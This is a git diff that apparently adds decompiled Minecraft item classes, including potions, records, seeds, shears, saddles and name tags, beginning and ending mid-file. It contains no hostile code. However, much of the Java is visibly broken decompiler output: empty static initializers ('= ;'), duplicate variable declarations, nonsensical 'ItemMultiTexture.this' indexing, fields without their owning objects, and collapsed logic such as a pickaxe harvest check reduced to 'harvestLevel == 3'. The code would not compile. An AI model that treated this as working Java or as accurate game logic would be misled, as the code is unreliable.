+        rotationYawHead = rotationYaw;
+        renderYawOffset = rotationYaw;
+        var10.func_180482_a(worldIn.getDifficultyForLocation(new BlockPos(var10)), null);
+        worldIn.spawnEntityInWorld(var8);
+        var10.playLivingSound();
+      }
+    }
+    
+    return var8;
+  }
+  
+
+
+
+
+
+
+  public void getSubItems(Item itemIn, CreativeTabs tab, List subItems)
+  {
+    Iterator var4 = EntityList.entityEggs.values().iterator();
+    
+    while (var4.hasNext())
+    {
+      EntityList.EntityEggInfo var5 = (EntityList.EntityEggInfo)var4.next();
+      subItems.add(new ItemStack(itemIn, 1, spawnedID));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemMultiTexture.java b/src/minecraft/net/minecraft/item/ItemMultiTexture.java
new file mode 100644
index 0000000..4d0727b
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemMultiTexture.java
@@ -0,0 +1,61 @@
+package net.minecraft.item;
+
+import com.google.common.base.Function;
+import net.minecraft.block.Block;
+
+public class ItemMultiTexture extends ItemBlock
+{
+  protected final Block theBlock;
+  protected final Function nameFunction;
+  private static final String __OBFID = "CL_00000051";
+  
+  public ItemMultiTexture(Block p_i45784_1_, Block p_i45784_2_, Function p_i45784_3_)
+  {
+    super(p_i45784_1_);
+    theBlock = p_i45784_2_;
+    nameFunction = p_i45784_3_;
+    setMaxDamage(0);
+    setHasSubtypes(true);
+  }
+  
+  public ItemMultiTexture(Block p_i45346_1_, Block p_i45346_2_, String[] p_i45346_3_)
+  {
+    this(p_i45346_1_, p_i45346_2_, new Function()
+    {
+      private static final String __OBFID = "CL_00002161";
+      
+      public String apply(ItemStack p_179541_1_) {
+        int var2 = p_179541_1_.getMetadata();
+        
+        if ((var2 < 0) || (var2 >= ItemMultiTexture.this.length))
+        {
+          var2 = 0;
+        }
+        
+        return ItemMultiTexture.this[var2];
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((ItemStack)p_apply_1_);
+      }
+    });
+  }
+  
+
+
+
+
+  public int getMetadata(int damage)
+  {
+    return damage;
+  }
+  
+
+
+
+
+  public String getUnlocalizedName(ItemStack stack)
+  {
+    return super.getUnlocalizedName() + "." + (String)nameFunction.apply(stack);
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemNameTag.java b/src/minecraft/net/minecraft/item/ItemNameTag.java
new file mode 100644
index 0000000..66cf22a
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemNameTag.java
@@ -0,0 +1,38 @@
+package net.minecraft.item;
+
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+
+public class ItemNameTag extends Item
+{
+  private static final String __OBFID = "CL_00000052";
+  
+  public ItemNameTag()
+  {
+    setCreativeTab(CreativeTabs.tabTools);
+  }
+  
+
+
+
+  public boolean itemInteractionForEntity(ItemStack stack, EntityPlayer playerIn, EntityLivingBase target)
+  {
+    if (!stack.hasDisplayName())
+    {
+      return false;
+    }
+    if ((target instanceof EntityLiving))
+    {
+      EntityLiving var4 = (EntityLiving)target;
+      var4.setCustomNameTag(stack.getDisplayName());
+      var4.enablePersistence();
+      stackSize -= 1;
+      return true;
+    }
+    
+
+    return super.itemInteractionForEntity(stack, playerIn, target);
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemPickaxe.java b/src/minecraft/net/minecraft/item/ItemPickaxe.java
new file mode 100644
index 0000000..a58f080
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemPickaxe.java
@@ -0,0 +1,31 @@
+package net.minecraft.item;
+
+import com.google.common.collect.Sets;
+import java.util.Set;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.init.Blocks;
+
+public class ItemPickaxe extends ItemTool
+{
+  private static final Set effectiveBlocks = Sets.newHashSet(new Block[] { Blocks.activator_rail, Blocks.coal_ore, Blocks.cobblestone, Blocks.detector_rail, Blocks.diamond_block, Blocks.diamond_ore, Blocks.double_stone_slab, Blocks.golden_rail, Blocks.gold_block, Blocks.gold_ore, Blocks.ice, Blocks.iron_block, Blocks.iron_ore, Blocks.lapis_block, Blocks.lapis_ore, Blocks.lit_redstone_ore, Blocks.mossy_cobblestone, Blocks.netherrack, Blocks.packed_ice, Blocks.rail, Blocks.redstone_ore, Blocks.sandstone, Blocks.red_sandstone, Blocks.stone, Blocks.stone_slab });
+  private static final String __OBFID = "CL_00000053";
+  
+  protected ItemPickaxe(Item.ToolMaterial p_i45347_1_)
+  {
+    super(2.0F, p_i45347_1_, effectiveBlocks);
+  }
+  
+
+
+
+  public boolean canHarvestBlock(Block blockIn)
+  {
+    return toolMaterial.getHarvestLevel() == 3;
+  }
+  
+  public float getStrVsBlock(ItemStack stack, Block p_150893_2_)
+  {
+    return (p_150893_2_.getMaterial() != Material.iron) && (p_150893_2_.getMaterial() != Material.anvil) && (p_150893_2_.getMaterial() != Material.rock) ? super.getStrVsBlock(stack, p_150893_2_) : efficiencyOnProperMaterial;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemPiston.java b/src/minecraft/net/minecraft/item/ItemPiston.java
new file mode 100644
index 0000000..39b20ca
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemPiston.java
@@ -0,0 +1,22 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+
+public class ItemPiston extends ItemBlock
+{
+  private static final String __OBFID = "CL_00000054";
+  
+  public ItemPiston(Block p_i45348_1_)
+  {
+    super(p_i45348_1_);
+  }
+  
+
+
+
+
+  public int getMetadata(int damage)
+  {
+    return 7;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemPotion.java b/src/minecraft/net/minecraft/item/ItemPotion.java
new file mode 100644
index 0000000..b55517f
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemPotion.java
@@ -0,0 +1,431 @@
+package net.minecraft.item;
+
+import com.google.common.collect.HashMultimap;
+import com.google.common.collect.Maps;
+import java.text.DecimalFormat;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Random;
+import java.util.Set;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.ai.attributes.IAttribute;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.entity.projectile.EntityPotion;
+import net.minecraft.init.Items;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.potion.PotionHelper;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.StatCollector;
+import net.minecraft.world.World;
+
+public class ItemPotion extends Item
+{
+  private Map effectCache = Maps.newHashMap();
+  private static final Map field_77835_b = ;
+  private static final String __OBFID = "CL_00000055";
+  
+  public ItemPotion()
+  {
+    setMaxStackSize(1);
+    setHasSubtypes(true);
+    setMaxDamage(0);
+    setCreativeTab(CreativeTabs.tabBrewing);
+  }
+  
+
+
+
+  public List<PotionEffect> getEffects(ItemStack p_77832_1_)
+  {
+    if ((p_77832_1_.hasTagCompound()) && (p_77832_1_.getTagCompound().hasKey("CustomPotionEffects", 9)))
+    {
+      ArrayList var7 = com.google.common.collect.Lists.newArrayList();
+      NBTTagList var3 = p_77832_1_.getTagCompound().getTagList("CustomPotionEffects", 10);
+      
+      for (int var4 = 0; var4 < var3.tagCount(); var4++)
+      {
+        NBTTagCompound var5 = var3.getCompoundTagAt(var4);
+        PotionEffect var6 = PotionEffect.readCustomPotionEffectFromNBT(var5);
+        
+        if (var6 != null)
+        {
+          var7.add(var6);
+        }
+      }
+      
+      return var7;
+    }
+    
+
+    List var2 = (List)effectCache.get(Integer.valueOf(p_77832_1_.getMetadata()));
+    
+    if (var2 == null)
+    {
+      var2 = PotionHelper.getPotionEffects(p_77832_1_.getMetadata(), false);
+      effectCache.put(Integer.valueOf(p_77832_1_.getMetadata()), var2);
+    }
+    
+    return var2;
+  }
+  
+
+
+
+
+  public List getEffects(int p_77834_1_)
+  {
+    List var2 = (List)effectCache.get(Integer.valueOf(p_77834_1_));
+    
+    if (var2 == null)
+    {
+      var2 = PotionHelper.getPotionEffects(p_77834_1_, false);
+      effectCache.put(Integer.valueOf(p_77834_1_), var2);
+    }
+    
+    return var2;
+  }
+  
+
+
+
+
+  public ItemStack onItemUseFinish(ItemStack stack, World worldIn, EntityPlayer playerIn)
+  {
+    if (!capabilities.isCreativeMode)
+    {
+      stackSize -= 1;
+    }
+    
+    if (!isRemote)
+    {
+      List var4 = getEffects(stack);
+      
+      if (var4 != null)
+      {
+        Iterator var5 = var4.iterator();
+        
+        while (var5.hasNext())
+        {
+          PotionEffect var6 = (PotionEffect)var5.next();
+          playerIn.addPotionEffect(new PotionEffect(var6));
+        }
+      }
+    }
+    
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+    
+    if (!capabilities.isCreativeMode)
+    {
+      if (stackSize <= 0)
+      {
+        return new ItemStack(Items.glass_bottle);
+      }
+      
+      inventory.addItemStackToInventory(new ItemStack(Items.glass_bottle));
+    }
+    
+    return stack;
+  }
+  
+
+
+
+  public int getMaxItemUseDuration(ItemStack stack)
+  {
+    return 32;
+  }
+  
+
+
+
+  public EnumAction getItemUseAction(ItemStack stack)
+  {
+    return EnumAction.DRINK;
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    if (isSplash(itemStackIn.getMetadata()))
+    {
+      if (!capabilities.isCreativeMode)
+      {
+        stackSize -= 1;
+      }
+      
+      worldIn.playSoundAtEntity(playerIn, "random.bow", 0.5F, 0.4F / (itemRand.nextFloat() * 0.4F + 0.8F));
+      
+      if (!isRemote)
+      {
+        worldIn.spawnEntityInWorld(new EntityPotion(worldIn, playerIn, itemStackIn));
+      }
+      
+      playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+      return itemStackIn;
+    }
+    
+
+    playerIn.setItemInUse(itemStackIn, getMaxItemUseDuration(itemStackIn));
+    return itemStackIn;
+  }
+  
+
+
+
+
+  public static boolean isSplash(int p_77831_0_)
+  {
+    return (p_77831_0_ & 0x4000) != 0;
+  }
+  
+  public int getColorFromDamage(int p_77620_1_)
+  {
+    return PotionHelper.func_77915_a(p_77620_1_, false);
+  }
+  
+  public int getColorFromItemStack(ItemStack stack, int renderPass)
+  {
+    return renderPass > 0 ? 16777215 : getColorFromDamage(stack.getMetadata());
+  }
+  
+  public boolean isEffectInstant(int p_77833_1_)
+  {
+    List var2 = getEffects(p_77833_1_);
+    
+    if ((var2 != null) && (!var2.isEmpty()))
+    {
+      Iterator var3 = var2.iterator();
+      
+      PotionEffect var4;
+      do
+      {
+        if (!var3.hasNext())
+        {
+          return false;
+        }
+        
+        var4 = (PotionEffect)var3.next();
+      }
+      while (!Potion.potionTypes[var4.getPotionID()].isInstant());
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  public String getItemStackDisplayName(ItemStack stack)
+  {
+    if (stack.getMetadata() == 0)
+    {
+      return StatCollector.translateToLocal("item.emptyPotion.name").trim();
+    }
+    
+
+    String var2 = "";
+    
+    if (isSplash(stack.getMetadata()))
+    {
+      var2 = StatCollector.translateToLocal("potion.prefix.grenade").trim() + " ";
+    }
+    
+    List var3 = Items.potionitem.getEffects(stack);
+    
+
+    if ((var3 != null) && (!var3.isEmpty()))
+    {
+      String var4 = ((PotionEffect)var3.get(0)).getEffectName();
+      var4 = var4 + ".postfix";
+      return var2 + StatCollector.translateToLocal(var4).trim();
+    }
+    
+
+    String var4 = PotionHelper.func_77905_c(stack.getMetadata());
+    return StatCollector.translateToLocal(var4).trim() + " " + super.getItemStackDisplayName(stack);
+  }
+  
+
+
+
+
+
+
+
+
+  public void addInformation(ItemStack stack, EntityPlayer playerIn, List tooltip, boolean advanced)
+  {
+    if (stack.getMetadata() != 0)
+    {
+      List var5 = Items.potionitem.getEffects(stack);
+      HashMultimap var6 = HashMultimap.create();
+      
+
+      if ((var5 != null) && (!var5.isEmpty()))
+      {
+        Iterator var16 = var5.iterator();
+        
+        while (var16.hasNext())
+        {
+          PotionEffect var8 = (PotionEffect)var16.next();
+          String var9 = StatCollector.translateToLocal(var8.getEffectName()).trim();
+          Potion var10 = Potion.potionTypes[var8.getPotionID()];
+          Map var11 = var10.func_111186_k();
+          
+          if ((var11 != null) && (var11.size() > 0))
+          {
+            Iterator var12 = var11.entrySet().iterator();
+            
+            while (var12.hasNext())
+            {
+              Map.Entry var13 = (Map.Entry)var12.next();
+              AttributeModifier var14 = (AttributeModifier)var13.getValue();
+              AttributeModifier var15 = new AttributeModifier(var14.getName(), var10.func_111183_a(var8.getAmplifier(), var14), var14.getOperation());
+              var6.put(((IAttribute)var13.getKey()).getAttributeUnlocalizedName(), var15);
+            }
+          }
+          
+          if (var8.getAmplifier() > 0)
+          {
+            var9 = var9 + " " + StatCollector.translateToLocal(new StringBuilder("potion.potency.").append(var8.getAmplifier()).toString()).trim();
+          }
+          
+          if (var8.getDuration() > 20)
+          {
+            var9 = var9 + " (" + Potion.getDurationString(var8) + ")";
+          }
+          
+          if (var10.isBadEffect())
+          {
+            tooltip.add(EnumChatFormatting.RED + var9);
+          }
+          else
+          {
+            tooltip.add(EnumChatFormatting.GRAY + var9);
+          }
+        }
+      }
+      else
+      {
+        String var7 = StatCollector.translateToLocal("potion.empty").trim();
+        tooltip.add(EnumChatFormatting.GRAY + var7);
+      }
+      
+      if (!var6.isEmpty())
+      {
+        tooltip.add("");
+        tooltip.add(EnumChatFormatting.DARK_PURPLE + StatCollector.translateToLocal("potion.effects.whenDrank"));
+        Iterator var16 = var6.entries().iterator();
+        
+        while (var16.hasNext())
+        {
+          Map.Entry var17 = (Map.Entry)var16.next();
+          AttributeModifier var18 = (AttributeModifier)var17.getValue();
+          double var19 = var18.getAmount();
+          double var20;
+          double var20;
+          if ((var18.getOperation() != 1) && (var18.getOperation() != 2))
+          {
+            var20 = var18.getAmount();
+          }
+          else
+          {
+            var20 = var18.getAmount() * 100.0D;
+          }
+          
+          if (var19 > 0.0D)
+          {
+            tooltip.add(EnumChatFormatting.BLUE + StatCollector.translateToLocalFormatted(new StringBuilder("attribute.modifier.plus.").append(var18.getOperation()).toString(), new Object[] { ItemStack.DECIMALFORMAT.format(var20), StatCollector.translateToLocal("attribute.name." + (String)var17.getKey()) }));
+          }
+          else if (var19 < 0.0D)
+          {
+            var20 *= -1.0D;
+            tooltip.add(EnumChatFormatting.RED + StatCollector.translateToLocalFormatted(new StringBuilder("attribute.modifier.take.").append(var18.getOperation()).toString(), new Object[] { ItemStack.DECIMALFORMAT.format(var20), StatCollector.translateToLocal("attribute.name." + (String)var17.getKey()) }));
+          }
+        }
+      }
+    }
+  }
+  
+  public boolean hasEffect(ItemStack stack)
+  {
+    List var2 = getEffects(stack);
+    return (var2 != null) && (!var2.isEmpty());
+  }
+  
+
+
+
+
+
+  public void getSubItems(Item itemIn, CreativeTabs tab, List subItems)
+  {
+    super.getSubItems(itemIn, tab, subItems);
+    
+
+    if (field_77835_b.isEmpty())
+    {
+      for (int var4 = 0; var4 <= 15; var4++)
+      {
+        for (int var5 = 0; var5 <= 1; var5++)
+        {
+          int var6;
+          int var6;
+          if (var5 == 0)
+          {
+            var6 = var4 | 0x2000;
+          }
+          else
+          {
+            var6 = var4 | 0x4000;
+          }
+          
+          for (int var7 = 0; var7 <= 2; var7++)
+          {
+            int var8 = var6;
+            
+            if (var7 != 0)
+            {
+              if (var7 == 1)
+              {
+                var8 = var6 | 0x20;
+              }
+              else if (var7 == 2)
+              {
+                var8 = var6 | 0x40;
+              }
+            }
+            
+            List var9 = PotionHelper.getPotionEffects(var8, false);
+            
+            if ((var9 != null) && (!var9.isEmpty()))
+            {
+              field_77835_b.put(var9, Integer.valueOf(var8));
+            }
+          }
+        }
+      }
+    }
+    
+    Iterator var10 = field_77835_b.values().iterator();
+    
+    while (var10.hasNext())
+    {
+      int var5 = ((Integer)var10.next()).intValue();
+      subItems.add(new ItemStack(itemIn, 1, var5));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemRecord.java b/src/minecraft/net/minecraft/item/ItemRecord.java
new file mode 100644
index 0000000..4b5bdaf
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemRecord.java
@@ -0,0 +1,93 @@
+package net.minecraft.item;
+
+import com.google.common.collect.Maps;
+import java.util.List;
+import java.util.Map;
+import net.minecraft.block.BlockJukebox;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.StatCollector;
+import net.minecraft.world.World;
+
+public class ItemRecord extends Item
+{
+  private static final Map field_150928_b = ;
+  
+  public final String recordName;
+  
+  private static final String __OBFID = "CL_00000057";
+  
+  protected ItemRecord(String p_i45350_1_)
+  {
+    recordName = p_i45350_1_;
+    maxStackSize = 1;
+    setCreativeTab(CreativeTabs.tabMisc);
+    field_150928_b.put("records." + p_i45350_1_, this);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    IBlockState var9 = worldIn.getBlockState(pos);
+    
+    if ((var9.getBlock() == Blocks.jukebox) && (!((Boolean)var9.getValue(BlockJukebox.HAS_RECORD)).booleanValue()))
+    {
+      if (isRemote)
+      {
+        return true;
+      }
+      
+
+      ((BlockJukebox)Blocks.jukebox).insertRecord(worldIn, pos, var9, stack);
+      worldIn.playAuxSFXAtEntity(null, 1005, pos, Item.getIdFromItem(this));
+      stackSize -= 1;
+      return true;
+    }
+    
+
+
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public void addInformation(ItemStack stack, EntityPlayer playerIn, List tooltip, boolean advanced)
+  {
+    tooltip.add(getRecordNameLocal());
+  }
+  
+  public String getRecordNameLocal()
+  {
+    return StatCollector.translateToLocal("item.record." + recordName + ".desc");
+  }
+  
+
+
+
+  public EnumRarity getRarity(ItemStack stack)
+  {
+    return EnumRarity.RARE;
+  }
+  
+
+
+
+  public static ItemRecord getRecord(String p_150926_0_)
+  {
+    return (ItemRecord)field_150928_b.get(p_150926_0_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemRedstone.java b/src/minecraft/net/minecraft/item/ItemRedstone.java
new file mode 100644
index 0000000..1219463
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemRedstone.java
@@ -0,0 +1,54 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockRedstoneWire;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class ItemRedstone extends Item
+{
+  private static final String __OBFID = "CL_00000058";
+  
+  public ItemRedstone()
+  {
+    setCreativeTab(net.minecraft.creativetab.CreativeTabs.tabRedstone);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    boolean var9 = worldIn.getBlockState(pos).getBlock().isReplaceable(worldIn, pos);
+    BlockPos var10 = var9 ? pos : pos.offset(side);
+    
+    if (!playerIn.func_175151_a(var10, side, stack))
+    {
+      return false;
+    }
+    
+
+    Block var11 = worldIn.getBlockState(var10).getBlock();
+    
+    if (!worldIn.canBlockBePlaced(var11, var10, false, side, null, stack))
+    {
+      return false;
+    }
+    if (Blocks.redstone_wire.canPlaceBlockAt(worldIn, var10))
+    {
+      stackSize -= 1;
+      worldIn.setBlockState(var10, Blocks.redstone_wire.getDefaultState());
+      return true;
+    }
+    
+
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemReed.java b/src/minecraft/net/minecraft/item/ItemReed.java
new file mode 100644
index 0000000..c54e18b
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemReed.java
@@ -0,0 +1,75 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.Block.SoundType;
+import net.minecraft.block.BlockSnow;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class ItemReed extends Item
+{
+  private Block field_150935_a;
+  private static final String __OBFID = "CL_00001773";
+  
+  public ItemReed(Block p_i45329_1_)
+  {
+    field_150935_a = p_i45329_1_;
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    IBlockState var9 = worldIn.getBlockState(pos);
+    Block var10 = var9.getBlock();
+    
+    if ((var10 == Blocks.snow_layer) && (((Integer)var9.getValue(BlockSnow.LAYERS_PROP)).intValue() < 1))
+    {
+      side = EnumFacing.UP;
+    }
+    else if (!var10.isReplaceable(worldIn, pos))
+    {
+      pos = pos.offset(side);
+    }
+    
+    if (!playerIn.func_175151_a(pos, side, stack))
+    {
+      return false;
+    }
+    if (stackSize == 0)
+    {
+      return false;
+    }
+    
+
+    if (worldIn.canBlockBePlaced(field_150935_a, pos, false, side, null, stack))
+    {
+      IBlockState var11 = field_150935_a.onBlockPlaced(worldIn, pos, side, hitX, hitY, hitZ, 0, playerIn);
+      
+      if (worldIn.setBlockState(pos, var11, 3))
+      {
+        var11 = worldIn.getBlockState(pos);
+        
+        if (var11.getBlock() == field_150935_a)
+        {
+          ItemBlock.setTileEntityNBT(worldIn, pos, stack);
+          var11.getBlock().onBlockPlacedBy(worldIn, pos, var11, playerIn, stack);
+        }
+        
+        worldIn.playSoundEffect(pos.getX() + 0.5F, pos.getY() + 0.5F, pos.getZ() + 0.5F, field_150935_a.stepSound.getPlaceSound(), (field_150935_a.stepSound.getVolume() + 1.0F) / 2.0F, field_150935_a.stepSound.getFrequency() * 0.8F);
+        stackSize -= 1;
+        return true;
+      }
+    }
+    
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemSaddle.java b/src/minecraft/net/minecraft/item/ItemSaddle.java
new file mode 100644
index 0000000..c20d35f
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemSaddle.java
@@ -0,0 +1,54 @@
+package net.minecraft.item;
+
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityPig;
+import net.minecraft.entity.player.EntityPlayer;
+
+public class ItemSaddle extends Item
+{
+  private static final String __OBFID = "CL_00000059";
+  
+  public ItemSaddle()
+  {
+    maxStackSize = 1;
+    setCreativeTab(CreativeTabs.tabTransport);
+  }
+  
+
+
+
+  public boolean itemInteractionForEntity(ItemStack stack, EntityPlayer playerIn, EntityLivingBase target)
+  {
+    if ((target instanceof EntityPig))
+    {
+      EntityPig var4 = (EntityPig)target;
+      
+      if ((!var4.getSaddled()) && (!var4.isChild()))
+      {
+        var4.setSaddled(true);
+        worldObj.playSoundAtEntity(var4, "mob.horse.leather", 0.5F, 1.0F);
+        stackSize -= 1;
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean hitEntity(ItemStack stack, EntityLivingBase target, EntityLivingBase attacker)
+  {
+    itemInteractionForEntity(stack, null, target);
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemSeedFood.java b/src/minecraft/net/minecraft/item/ItemSeedFood.java
new file mode 100644
index 0000000..1725440
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemSeedFood.java
@@ -0,0 +1,50 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class ItemSeedFood
+  extends ItemFood
+{
+  private Block field_150908_b;
+  private Block soilId;
+  private static final String __OBFID = "CL_00000060";
+  
+  public ItemSeedFood(int p_i45351_1_, float p_i45351_2_, Block p_i45351_3_, Block p_i45351_4_)
+  {
+    super(p_i45351_1_, p_i45351_2_, false);
+    field_150908_b = p_i45351_3_;
+    soilId = p_i45351_4_;
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (side != EnumFacing.UP)
+    {
+      return false;
+    }
+    if (!playerIn.func_175151_a(pos.offset(side), side, stack))
+    {
+      return false;
+    }
+    if ((worldIn.getBlockState(pos).getBlock() == soilId) && (worldIn.isAirBlock(pos.offsetUp())))
+    {
+      worldIn.setBlockState(pos.offsetUp(), field_150908_b.getDefaultState());
+      stackSize -= 1;
+      return true;
+    }
+    
+
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemSeeds.java b/src/minecraft/net/minecraft/item/ItemSeeds.java
new file mode 100644
index 0000000..ad6087c
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemSeeds.java
@@ -0,0 +1,51 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class ItemSeeds
+  extends Item
+{
+  private Block field_150925_a;
+  private Block soilBlockID;
+  private static final String __OBFID = "CL_00000061";
+  
+  public ItemSeeds(Block p_i45352_1_, Block p_i45352_2_)
+  {
+    field_150925_a = p_i45352_1_;
+    soilBlockID = p_i45352_2_;
+    setCreativeTab(CreativeTabs.tabMaterials);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (side != EnumFacing.UP)
+    {
+      return false;
+    }
+    if (!playerIn.func_175151_a(pos.offset(side), side, stack))
+    {
+      return false;
+    }
+    if ((worldIn.getBlockState(pos).getBlock() == soilBlockID) && (worldIn.isAirBlock(pos.offsetUp())))
+    {
+      worldIn.setBlockState(pos.offsetUp(), field_150925_a.getDefaultState());
+      stackSize -= 1;
+      return true;
+    }
+    
+
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemShears.java b/src/minecraft/net/minecraft/item/ItemShears.java
new file mode 100644
index 0000000..b8380a6
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemShears.java
@@ -0,0 +1,50 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class ItemShears extends Item
+{
+  private static final String __OBFID = "CL_00000062";
+  
+  public ItemShears()
+  {
+    setMaxStackSize(1);
+    setMaxDamage(238);
+    setCreativeTab(CreativeTabs.tabTools);
+  }
+  
+
+
+
+  public boolean onBlockDestroyed(ItemStack stack, World worldIn, Block blockIn, BlockPos pos, EntityLivingBase playerIn)
+  {
+    if ((blockIn.getMaterial() != Material.leaves) && (blockIn != Blocks.web) && (blockIn != Blocks.tallgrass) && (blockIn != Blocks.vine) && (blockIn != Blocks.tripwire) && (blockIn != Blocks.wool))
+    {
+      return super.onBlockDestroyed(stack, worldIn, blockIn, pos, playerIn);
+    }
+    
+
+    stack.damageItem(1, playerIn);
+    return true;
+  }
+  
+
+
+
+
+  public boolean canHarvestBlock(Block blockIn)
+  {
+    return (blockIn == Blocks.web) || (blockIn == Blocks.redstone_wire) || (blockIn == Blocks.tripwire);
+  }
+  
+  public float getStrVsBlock(ItemStack stack, Block p_150893_2_)
+  {
+    return (p_150893_2_ != Blocks.web) && (p_150893_2_.getMaterial() != Material.leaves) ? super.getStrVsBlock(stack, p_150893_2_) : p_150893_2_ == Blocks.wool ? 5.0F : 15.0F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemSign.java b/src/minecraft/net/minecraft/item/ItemSign.java
new file mode 100644
index 0000000..b69f7d6
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemSign.java
@@ -0,0 +1,79 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockStandingSign;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.tileentity.TileEntitySign;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class ItemSign extends Item
+{
+  private static final String __OBFID = "CL_00000064";
+  
+  public ItemSign()
+  {
+    maxStackSize = 16;
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+
+
+
+
+
+
